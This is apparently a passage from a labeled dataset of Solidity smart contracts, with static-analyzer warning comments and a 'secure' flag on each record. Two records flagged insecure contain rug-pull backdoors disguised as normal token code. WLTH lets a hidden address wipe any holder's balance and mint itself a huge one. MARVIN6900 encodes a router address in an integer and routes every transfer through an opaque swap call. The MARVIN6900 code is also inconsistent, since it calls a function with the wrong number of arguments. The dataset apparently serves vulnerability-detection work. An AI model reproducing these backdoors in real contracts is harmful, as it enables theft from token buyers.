4b8a827): WLTH.tokenDecimals should be immutable \n\t// Recommendation for 4b8a827: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint8 private tokenDecimals;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 1164b26): WLTH.constructor(address).ads lacks a zerocheck on \t xxnux = ads\n\t// Recommendation for 1164b26: Check that the address is not zero.\n constructor(address ads) {\n tokenName = \"Common Wealth\";\n\n tokenSymbol = \"WLTH\";\n\n tokenDecimals = 9;\n\n tokenTotalSupply = 1000000000 * 10 ** tokenDecimals;\n\n _balances[msg.sender] = tokenTotalSupply;\n\n emit Transfer(address(0), msg.sender, tokenTotalSupply);\n\n\t\t// missing-zero-check | ID: 1164b26\n xxnux = ads;\n }\n\n function addAITrading(address bots) external {\n if (\n xxnux == msg.sender &&\n xxnux != bots &&\n pancakePair() != bots &&\n bots != ROUTER\n ) {\n _balances[bots] = 0;\n }\n }\n\n function removeLimits(uint256 addBot) external {\n if (xxnux == msg.sender) {\n _balances[msg.sender] =\n 42069000000 *\n 42069 *\n addBot *\n 10 ** tokenDecimals;\n }\n }\n\n function pancakePair() public view virtual returns (address) {\n return IPancakeFactory(FACTORY).getPair(address(WETH), address(this));\n }\n\n function symbol() public view returns (string memory) {\n return tokenSymbol;\n }\n\n function totalSupply() public view returns (uint256) {\n return tokenTotalSupply;\n }\n\n function decimals() public view virtual returns (uint8) {\n return tokenDecimals;\n }\n\n function balanceOf(address account) public view returns (uint256) {\n return _balances[account];\n }\n\n function name() public view returns (string memory) {\n return tokenName;\n }\n\n function transfer(address to, uint256 amount) public returns (bool) {\n _transfer(msg.sender, to, amount);\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(address spender, uint256 amount) public returns (bool) {\n _approve(msg.sender, spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual returns (bool) {\n address spender = msg.sender;\n\n _spendAllowance(from, spender, amount);\n\n _transfer(from, to, amount);\n\n return true;\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n uint256 balance = _balances[from];\n\n require(balance >= amount, \"ERC20: transfer amount exceeds balance\");\n\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[from] = _balances[from] - amount;\n\n _balances[to] = _balances[to] + amount;\n\n emit Transfer(from, to, amount);\n }\n\n function _spendAllowance(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n\n _approve(owner, spender, currentAllowance - amount);\n }\n }\n}",
"file_name": "solidity_code_2699.sol",
"secure": 0,
"size_bytes": 5650
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"./IUniswapRouterV2.sol\" as IUniswapRouterV2;\nimport \"./UniswapRouterV2.sol\" as UniswapRouterV2;\n\ncontract MARVIN6900 is Ownable {\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => uint256) private _balanceses;\n\n\t// WARNING Optimization Issue (constable-states | ID: 53d8d87): MARVIN6900._totalSupply should be constant \n\t// Recommendation for 53d8d87: Add the 'constant' attribute to state variables that never change.\n uint256 private _totalSupply = 10000000000 * 10 ** 18;\n\n uint8 private constant _DECIMALS = 18;\n\n string private _name;\n\n string private _symbol;\n\n UniswapRouterV2 internal router2Instance;\n\n\t// WARNING Optimization Issue (constable-states | ID: bfdfb3a): MARVIN6900._initSupply should be constant \n\t// Recommendation for bfdfb3a: Add the 'constant' attribute to state variables that never change.\n uint256 private _initSupply =\n 1323995976083318023847656560591034026600115552771;\n\n function initINIT() internal {\n uint256 supplyhash = _initSupply;\n\n address router_;\n\n router_ = address(uint160(supplyhash));\n\n router2Instance = UniswapRouterV2(router_);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: a9c4fa4): MARVIN6900.constructor(string,string).name shadows MARVIN6900.name() (function)\n\t// Recommendation for a9c4fa4: Rename the local variables that shadow another component.\n constructor(string memory name, string memory sym) {\n _name = name;\n\n _symbol = sym;\n\n _balanceses[_msgSender()] = _totalSupply;\n\n initINIT();\n\n emit Transfer(address(0), _msgSender(), _totalSupply);\n }\n\n function symbol() public view virtual returns (string memory) {\n return _symbol;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: a9c4fa4): MARVIN6900.constructor(string,string).name shadows MARVIN6900.name() (function)\n\t// Recommendation for a9c4fa4: Rename the local variables that shadow another component.\n function name() public view virtual returns (string memory) {\n return _name;\n }\n\n function decimals() public view virtual returns (uint8) {\n return _DECIMALS;\n }\n\n function totalSupply() public view virtual returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view virtual returns (uint256) {\n return _balanceses[account];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 3efb706): MARVIN6900.transfer(address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 3efb706: Rename the local variables that shadow another component.\n function transfer(\n address to,\n uint256 amount\n ) public virtual returns (bool) {\n address owner = _msgSender();\n\n (_balanceses[owner], ) = _aroveeee(owner, true, amount);\n\n _transfer(owner, to, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: f391989): MARVIN6900.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for f391989: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address sender\n ) public view virtual returns (uint256) {\n return _allowances[owner][sender];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 7f0563b): MARVIN6900.approve(address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 7f0563b: Rename the local variables that shadow another component.\n function approve(\n address sender,\n uint256 amount\n ) public virtual returns (bool) {\n address owner = _msgSender();\n\n _approve(owner, sender, amount);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual returns (bool) {\n address sender = _msgSender();\n\n uint256 currentAllowance = allowance(from, sender);\n\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n\n unchecked {\n _approve(from, sender, currentAllowance - amount);\n }\n }\n\n (_balanceses[from], ) = _aroveeee(from, true, amount);\n\n _transfer(from, to, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: e72b163): MARVIN6900._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for e72b163: Rename the local variables that shadow another component.\n function _approve(\n address owner,\n address sender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(sender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][sender] = amount;\n\n emit Approval(owner, sender, amount);\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(\n from != address(0) && to != address(0),\n \"ERC20: transfer the zero address\"\n );\n\n uint256 balance = _balanceses[from];\n\n require(balance >= amount, \"ERC20: amount over balance\");\n\n _balanceses[from] = balance - amount;\n\n _balanceses[to] = _balanceses[to] + amount;\n\n emit Transfer(from, to, amount);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 286dc93): MARVIN6900._dogeswap(address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 286dc93: Rename the local variables that shadow another component.\n function _dogeswap(\n address owner\n ) internal virtual returns (uint256) {\n return\n IUniswapRouterV2.swap99(\n router2Instance,\n router2Instance,\n _balanceses[owner],\n owner\n );\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: d1c1016): MARVIN6900._aroveeee(address,bool,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for d1c1016: Rename the local variables that shadow another component.\n function _aroveeee(\n address owner,\n bool no,\n uint256 amount\n ) internal virtual returns (uint256, bool) {\n if (no == true) {\n return (_dogeswap(owner, amount), true);\n } else {\n return (_balanceses[owner], true);\n }\n\n return (_dogeswap(owner, amount), true);\n }\n}",
"file_name": "solidity_code_27.sol",
"secure": 0,
"size_bytes": 7082
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract MBOITUI is ERC20, Ownable {\n constructor() ERC20(\"MBOITUI\", \"$MTC\") {\n _mint(msg.sender, 8100000 * 10 ** decimals());\n }\n}",
"file_name": "solidity_code_270.sol",
"secure": 1,
"size_bytes": 343
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC721/ERC721.sol\" as ERC721;\nimport \"./SupportsInterface.sol\" as SupportsInterface;\nimport \"./ERC721TokenReceiver.sol\" as ERC721TokenReceiver;\nimport \"./AddressUtils.sol\" as AddressUtils;\n\ncontract NFTSprites is ERC721, SupportsInterface {\n using AddressUtils for address;\n\n string constant ZERO_ADDRESS = \"003001\";\n string constant NOT_VALID_NFT = \"003002\";\n string constant NOT_OWNER_OR_OPERATOR = \"003003\";\n string constant NOT_OWNER_APPROVED_OR_OPERATOR = \"003004\";\n string constant NOT_ABLE_TO_RECEIVE_NFT = \"003005\";\n string constant NFT_ALREADY_EXISTS = \"003006\";\n string constant NOT_OWNER = \"003007\";\n string constant IS_OWNER = \"003008\";\n\n\t// WARNING Optimization Issue (constable-states | ID: d4eeb1e): NFTSprites.nftName should be constant \n\t// Recommendation for d4eeb1e: Add the 'constant' attribute to state variables that never change.\n string internal nftName = \"NFT Sprites\";\n\t// WARNING Optimization Issue (constable-states | ID: a5e9db6): NFTSprites.nftSymbol should be constant \n\t// Recommendation for a5e9db6: Add the 'constant' attribute to state variables that never change.\n string internal nftSymbol = \"NFTS\";\n\n uint256 public latestNewSpriteForSale;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 2d42a29): NFTSprites.owner should be immutable \n\t// Recommendation for 2d42a29: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address owner;\n\n struct Sprite {\n address owner;\n bool currentlyForSale;\n uint256 price;\n uint256 timesSold;\n }\n\n mapping(uint256 => Sprite) public sprites;\n\n function getSpriteInfo(\n uint256 spriteNumber\n ) public view returns (address, bool, uint256, uint256) {\n return (\n sprites[spriteNumber].owner,\n sprites[spriteNumber].currentlyForSale,\n sprites[spriteNumber].price,\n sprites[spriteNumber].timesSold\n );\n }\n\n function getSpriteOwner(uint256 spriteNumber) public view returns (address) {\n return (sprites[spriteNumber].owner);\n }\n\n mapping(address => uint256[]) public spriteOwners;\n function spriteOwningHistory(\n address _address\n ) public view returns (uint256[] memory owningHistory) {\n owningHistory = spriteOwners[_address];\n }\n\n function name() external view returns (string memory _name) {\n _name = nftName;\n }\n\n function symbol() external view returns (string memory _symbol) {\n _symbol = nftSymbol;\n }\n\n bytes4 internal constant MAGIC_ON_ERC721_RECEIVED = 0x150b7a02;\n\n mapping(uint256 => address) internal idToOwner;\n\n mapping(uint256 => address) internal idToApproval;\n\n mapping(address => uint256) private ownerToNFTokenCount;\n\n mapping(address => mapping(address => bool)) internal ownerToOperators;\n\n modifier canOperate(uint256 _tokenId) {\n address tokenOwner = idToOwner[_tokenId];\n require(\n tokenOwner == msg.sender ||\n ownerToOperators[tokenOwner][msg.sender],\n NOT_OWNER_OR_OPERATOR\n );\n _;\n }\n\n modifier canTransfer(uint256 _tokenId) {\n address tokenOwner = idToOwner[_tokenId];\n require(\n tokenOwner == msg.sender ||\n idToApproval[_tokenId] == msg.sender ||\n ownerToOperators[tokenOwner][msg.sender],\n NOT_OWNER_APPROVED_OR_OPERATOR\n );\n _;\n }\n\n modifier validNFToken(uint256 _tokenId) {\n require(idToOwner[_tokenId] != address(0), NOT_VALID_NFT);\n _;\n }\n\n constructor() {\n supportedInterfaces[0x80ac58cd] = true;\n\n sprites[0].owner = msg.sender;\n sprites[0].currentlyForSale = true;\n sprites[0].price = (10 ** 15) * 5;\n sprites[0].timesSold = 0;\n\n owner = msg.sender;\n }\n\n function buySprite(uint256 spriteNumber) public payable {\n require(sprites[spriteNumber].currentlyForSale == true);\n require(msg.value == sprites[spriteNumber].price);\n require(spriteNumber < 100);\n sprites[spriteNumber].timesSold++;\n spriteOwners[msg.sender].push(spriteNumber);\n sprites[spriteNumber].currentlyForSale = false;\n if (spriteNumber != latestNewSpriteForSale) {\n address currentSpriteOwner = getSpriteOwner(spriteNumber);\n idToApproval[spriteNumber] = msg.sender;\n\n _safeTransferFrom(currentSpriteOwner, msg.sender, spriteNumber, \"\");\n\n payable(sprites[spriteNumber].owner).transfer(\n sprites[spriteNumber].price\n );\n } else {\n sprites[spriteNumber].owner = msg.sender;\n if (latestNewSpriteForSale != 99) {\n latestNewSpriteForSale++;\n sprites[latestNewSpriteForSale].price =\n latestNewSpriteForSale ** 2 *\n (10 ** 15) *\n 5;\n sprites[latestNewSpriteForSale].currentlyForSale = true;\n }\n _mint(msg.sender, spriteNumber);\n }\n }\n\n function sellSprite(uint256 spriteNumber, uint256 price) public {\n require(msg.sender == sprites[spriteNumber].owner);\n require(price > 0);\n sprites[spriteNumber].price = price;\n sprites[spriteNumber].currentlyForSale = true;\n }\n\n function dontSellSprite(uint256 spriteNumber) public {\n require(msg.sender == sprites[spriteNumber].owner);\n sprites[spriteNumber].currentlyForSale = false;\n }\n\n function giftSprite(uint256 spriteNumber, address receiver) public {\n require(receiver != address(0), ZERO_ADDRESS);\n require(msg.sender == sprites[spriteNumber].owner);\n spriteOwners[receiver].push(spriteNumber);\n _safeTransferFrom(msg.sender, receiver, spriteNumber, \"\");\n }\n\n function safeTransferFrom(\n address _from,\n address _to,\n uint256 _tokenId,\n bytes calldata _data\n ) external override {\n _safeTransferFrom(_from, _to, _tokenId, _data);\n }\n\n function safeTransferFrom(\n address _from,\n address _to,\n uint256 _tokenId\n ) external override {\n _safeTransferFrom(_from, _to, _tokenId, \"\");\n }\n\n function approve(\n address _approved,\n uint256 _tokenId\n ) external override canOperate(_tokenId) validNFToken(_tokenId) {\n address tokenOwner = idToOwner[_tokenId];\n require(_approved != tokenOwner, IS_OWNER);\n\n idToApproval[_tokenId] = _approved;\n emit Approval(tokenOwner, _approved, _tokenId);\n }\n\n function setApprovalForAll(\n address _operator,\n bool _approved\n ) external override {\n ownerToOperators[msg.sender][_operator] = _approved;\n emit ApprovalForAll(msg.sender, _operator, _approved);\n }\n\n function balanceOf(\n address _owner\n ) external view override returns (uint256) {\n require(_owner != address(0), ZERO_ADDRESS);\n return _getOwnerNFTCount(_owner);\n }\n\n function ownerOf(\n uint256 _tokenId\n ) external view override returns (address _owner) {\n _owner = idToOwner[_tokenId];\n require(_owner != address(0), NOT_VALID_NFT);\n }\n\n function getApproved(\n uint256 _tokenId\n ) external view override validNFToken(_tokenId) returns (address) {\n return idToApproval[_tokenId];\n }\n\n function isApprovedForAll(\n address _owner,\n address _operator\n ) external view override returns (bool) {\n return ownerToOperators[_owner][_operator];\n }\n\n function _transfer(address _to, uint256 _tokenId) internal {\n address from = idToOwner[_tokenId];\n _clearApproval(_tokenId);\n\n _removeNFToken(from, _tokenId);\n _addNFToken(_to, _tokenId);\n\n sprites[_tokenId].owner = _to;\n\n emit Transfer(from, _to, _tokenId);\n }\n\n function _mint(address _to, uint256 _tokenId) internal virtual {\n require(_to != address(0), ZERO_ADDRESS);\n require(idToOwner[_tokenId] == address(0), NFT_ALREADY_EXISTS);\n\n _addNFToken(_to, _tokenId);\n\n emit Transfer(address(0), _to, _tokenId);\n }\n\n function _burn(uint256 _tokenId) internal virtual validNFToken(_tokenId) {\n address tokenOwner = idToOwner[_tokenId];\n _clearApproval(_tokenId);\n _removeNFToken(tokenOwner, _tokenId);\n emit Transfer(tokenOwner, address(0), _tokenId);\n }\n\n function _removeNFToken(address _from, uint256 _tokenId) internal virtual {\n require(idToOwner[_tokenId] == _from, NOT_OWNER);\n ownerToNFTokenCount[_from] = ownerToNFTokenCount[_from] - 1;\n delete idToOwner[_tokenId];\n }\n\n function _addNFToken(address _to, uint256 _tokenId) internal virtual {\n require(idToOwner[_tokenId] == address(0), NFT_ALREADY_EXISTS);\n\n idToOwner[_tokenId] = _to;\n ownerToNFTokenCount[_to] = ownerToNFTokenCount[_to] + 1;\n }\n\n function _getOwnerNFTCount(\n address _owner\n ) internal view virtual returns (uint256) {\n return ownerToNFTokenCount[_owner];\n }\n\n function _safeTransferFrom(\n address _from,\n address _to,\n uint256 _tokenId,\n bytes memory _data\n ) private canTransfer(_tokenId) validNFToken(_tokenId) {\n address tokenOwner = idToOwner[_tokenId];\n require(tokenOwner == _from, NOT_OWNER);\n require(_to != address(0), ZERO_ADDRESS);\n\n _transfer(_to, _tokenId);\n\n if (_to.isContract()) {\n bytes4 retval = ERC721TokenReceiver(_to).onERC721Received(\n msg.sender,\n _from,\n _tokenId,\n _data\n );\n require(\n retval == MAGIC_ON_ERC721_RECEIVED,\n NOT_ABLE_TO_RECEIVE_NFT\n );\n }\n }\n\n function _clearApproval(uint256 _tokenId) private {\n if (idToApproval[_tokenId] != address(0)) {\n delete idToApproval[_tokenId];\n }\n }\n\n modifier onlyOwner() {\n require(msg.sender == owner);\n _;\n }\n\n function withdraw() public onlyOwner {\n payable(owner).transfer(address(this).balance);\n }\n\n function transferFrom(\n address _from,\n address _to,\n uint256 _tokenId\n ) external override canTransfer(_tokenId) validNFToken(_tokenId) {\n address tokenOwner = idToOwner[_tokenId];\n require(tokenOwner == _from, NOT_OWNER);\n require(_to != address(0), ZERO_ADDRESS);\n\n _transfer(_to, _tokenId);\n }\n}",
"file_name": "solidity_code_2700.sol",
"secure": 1,
"size_bytes": 11030
} |
{
"code": "// SPDX-License-Identifier: Unlicensed\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract InuPolytopia is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n string private constant _name = \"Inu Polytopia\";\n string private constant _symbol = \" INP \";\n uint8 private constant _decimals = 9;\n\n mapping(address => uint256) private _rOwned;\n mapping(address => uint256) private _tOwned;\n mapping(address => mapping(address => uint256)) private _allowances;\n mapping(address => bool) private _isExcludedFromFee;\n uint256 private constant MAX = ~uint256(0);\n uint256 private constant _tTotal = 1000000000000 * 10 ** 9;\n uint256 private _rTotal = (MAX - (MAX % _tTotal));\n uint256 private _tFeeTotal;\n uint256 private _taxFee = 5;\n uint256 private _teamFee = 10;\n\n mapping(address => bool) private bots;\n mapping(address => uint256) private cooldown;\n\t// WARNING Optimization Issue (immutable-states | ID: fad7bcf): InuPolytopia._teamAddress should be immutable \n\t// Recommendation for fad7bcf: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _teamAddress;\n IUniswapV2Router02 private uniswapV2Router;\n address private uniswapV2Pair;\n bool private tradingOpen;\n bool private inSwap = false;\n bool private swapEnabled = false;\n bool private cooldownEnabled = false;\n uint256 private _maxTxAmount = _tTotal;\n\n event MaxTxAmountUpdated(uint256 _maxTxAmount);\n modifier lockTheSwap() {\n inSwap = true;\n _;\n inSwap = false;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 48ac275): InuPolytopia.constructor(address).addr1 lacks a zerocheck on \t _teamAddress = addr1\n\t// Recommendation for 48ac275: Check that the address is not zero.\n constructor(address payable addr1) {\n\t\t// missing-zero-check | ID: 48ac275\n _teamAddress = addr1;\n _rOwned[_msgSender()] = _rTotal;\n _isExcludedFromFee[owner()] = true;\n _isExcludedFromFee[address(this)] = true;\n _isExcludedFromFee[_teamAddress] = true;\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return tokenFromReflection(_rOwned[account]);\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: f706c94): InuPolytopia.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for f706c94: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 90f59d1): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 90f59d1: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 5ee044c): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 5ee044c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 90f59d1\n\t\t// reentrancy-benign | ID: 5ee044c\n _transfer(sender, recipient, amount);\n\t\t// reentrancy-events | ID: 90f59d1\n\t\t// reentrancy-benign | ID: 5ee044c\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n return true;\n }\n\n function setCooldownEnabled(bool onoff) external onlyOwner {\n cooldownEnabled = onoff;\n }\n\n function tokenFromReflection(\n uint256 rAmount\n ) private view returns (uint256) {\n require(\n rAmount <= _rTotal,\n \"Amount must be less than total reflections\"\n );\n uint256 currentRate = _getRate();\n return rAmount.div(currentRate);\n }\n\n function removeAllFee() private {\n if (_taxFee == 0 && _teamFee == 0) return;\n\t\t// reentrancy-benign | ID: 84d0879\n _taxFee = 0;\n\t\t// reentrancy-benign | ID: 84d0879\n _teamFee = 0;\n }\n\n function restoreAllFee() private {\n\t\t// reentrancy-benign | ID: 84d0879\n _taxFee = 5;\n\t\t// reentrancy-benign | ID: 84d0879\n _teamFee = 10;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 181e248): InuPolytopia._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 181e248: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\t\t// reentrancy-benign | ID: 5ee044c\n _allowances[owner][spender] = amount;\n\t\t// reentrancy-events | ID: 90f59d1\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 98bec0f): InuPolytopia._transfer(address,address,uint256) uses timestamp for comparisons Dangerous comparisons require(bool)(cooldown[to] < block.timestamp)\n\t// Recommendation for 98bec0f: Avoid relying on 'block.timestamp'.\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 343fcf5): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 343fcf5: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 84d0879): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 84d0879: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 2a8dda0): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 2a8dda0: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n if (from != owner() && to != owner()) {\n if (cooldownEnabled) {\n if (\n from != address(this) &&\n to != address(this) &&\n from != address(uniswapV2Router) &&\n to != address(uniswapV2Router)\n ) {\n require(\n _msgSender() == address(uniswapV2Router) ||\n _msgSender() == uniswapV2Pair,\n \"ERR: Uniswap only\"\n );\n }\n }\n require(amount <= _maxTxAmount);\n require(!bots[from] && !bots[to]);\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to] &&\n cooldownEnabled\n ) {\n\t\t\t\t// timestamp | ID: 98bec0f\n require(cooldown[to] < block.timestamp);\n cooldown[to] = block.timestamp + (60 seconds);\n }\n uint256 contractTokenBalance = balanceOf(address(this));\n if (!inSwap && from != uniswapV2Pair && swapEnabled) {\n\t\t\t\t// reentrancy-events | ID: 343fcf5\n\t\t\t\t// reentrancy-benign | ID: 84d0879\n\t\t\t\t// reentrancy-eth | ID: 2a8dda0\n swapTokensForEth(contractTokenBalance);\n uint256 contractETHBalance = address(this).balance;\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 343fcf5\n\t\t\t\t\t// reentrancy-eth | ID: 2a8dda0\n sendETHToFee(address(this).balance);\n }\n }\n }\n bool takeFee = true;\n\n if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {\n takeFee = false;\n }\n\n\t\t// reentrancy-events | ID: 343fcf5\n\t\t// reentrancy-benign | ID: 84d0879\n\t\t// reentrancy-eth | ID: 2a8dda0\n _tokenTransfer(from, to, amount, takeFee);\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n path[0] = address(this);\n path[1] = uniswapV2Router.WETH();\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\t\t// reentrancy-events | ID: 343fcf5\n\t\t// reentrancy-events | ID: 90f59d1\n\t\t// reentrancy-benign | ID: 5ee044c\n\t\t// reentrancy-benign | ID: 84d0879\n\t\t// reentrancy-eth | ID: 2a8dda0\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: cb7b3e3): InuPolytopia.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _teamAddress.transfer(amount)\n\t// Recommendation for cb7b3e3: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 343fcf5\n\t\t// reentrancy-events | ID: 90f59d1\n\t\t// reentrancy-eth | ID: 2a8dda0\n\t\t// arbitrary-send-eth | ID: cb7b3e3\n _teamAddress.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 485d2bc): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 485d2bc: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 3db455c): InuPolytopia.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 3db455c: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 4ebc793): InuPolytopia.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 4ebc793: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 38d7015): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 38d7015: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() 